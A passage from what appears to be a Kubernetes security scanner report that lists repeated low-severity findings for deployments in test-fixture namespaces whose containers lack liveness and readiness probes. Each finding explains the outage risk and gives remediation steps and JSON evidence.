  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/netpol-imds/imds-allow-app Workload 3.5
Container app in Deployment/netpol-imds/imds-allow-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Defense Evasion Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-allow-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/imds-allow-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/netpol-imds/imds-open-app Workload 3.5
Container app in Deployment/netpol-imds/imds-open-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Defense Evasion Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-open-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/imds-open-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/psa-suppressed/psa-priv-app Workload 3.5
Container app in Deployment/psa-suppressed/psa-priv-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/psa-suppressed/psa-priv-app
Category: Defense Evasion Resource: Deployment/psa-suppressed/psa-priv-app Namespace: psa-suppressed

Container app in Deployment/psa-suppressed/psa-priv-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/psa-priv-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 3.5
Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Defense Evasion Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/psa-unlabeled-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/pv-hostpath-fixtures/pv-hostpath-app Workload 3.5
Container app in Deployment/pv-hostpath-fixtures/pv-hostpath-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app
Category: Defense Evasion Resource: Deployment/pv-hostpath-fixtures/pv-hostpath-app Namespace: pv-hostpath-fixtures

Container app in Deployment/pv-hostpath-fixtures/pv-hostpath-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/pv-hostpath-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/rbac-fixtures/imp-app Workload 3.5
Container app in Deployment/rbac-fixtures/imp-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/rbac-fixtures/imp-app
Category: Defense Evasion Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/imp-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/imp-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/rbac-fixtures/wildcard-app Workload 3.5
Container app in Deployment/rbac-fixtures/wildcard-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app
Category: Defense Evasion Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/wildcard-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/wildcard-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/vulnerable/generic-hostpath-app Workload 3.5
Container app in Deployment/vulnerable/generic-hostpath-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Defense Evasion Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Container app in Deployment/vulnerable/generic-hostpath-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/generic-hostpath-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/vulnerable/host-ns-app Workload 3.5
Container app in Deployment/vulnerable/host-ns-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Defense Evasion Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Container app in Deployment/vulnerable/host-ns-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/host-ns-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/vulnerable/risky-app Workload 3.5
Container app in Deployment/vulnerable/risky-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Defense Evasion Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/risky-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
